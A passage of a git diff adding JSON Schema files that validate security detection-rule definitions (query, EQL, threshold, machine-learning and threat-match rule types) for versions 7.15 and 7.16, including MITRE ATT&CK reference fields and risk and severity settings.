"number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "enum": [ + "mapping" + ], + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threat_match" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.15/7.15.threshold.json b/etc/api_schemas/7.15/7.15.threshold.json new file mode 100644 index 000000000..a53dad8cb --- /dev/null +++ b/etc/api_schemas/7.15/7.15.threshold.json @@ -0,0 +1,396 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.16/7.16.base.json b/etc/api_schemas/7.16/7.16.base.json new file mode 100644 index 000000000..1f5e717e2 --- /dev/null +++ b/etc/api_schemas/7.16/7.16.base.json @@ -0,0 +1,334 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.16/7.16.eql.json b/etc/api_schemas/7.16/7.16.eql.json new file mode 100644 index 000000000..103e625c9 --- /dev/null +++ b/etc/api_schemas/7.16/7.16.eql.json @@ -0,0 +1,345 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.16/7.16.machine_learning.json b/etc/api_schemas/7.16/7.16.machine_learning.json new file mode 100644 index 000000000..ccf730371 --- /dev/null +++ b/etc/api_schemas/7.16/7.16.machine_learning.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "type": "array" + } + ] + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.16/7.16.query.json b/etc/api_schemas/7.16/7.16.query.json new file mode 100644 index 000000000..78cbdae7a --- /dev/null +++ b/etc/api_schemas/7.16/7.16.query.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.16/7.16.threat_match.json b/etc/api_schemas/7.16/7.16.threat_match.json new file mode 100644 index 000000000..c46b4d6dd --- /dev/null +++ b/etc/api_schemas/7.16/7.16.threat_match.json @@ -0,0 +1,438 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": 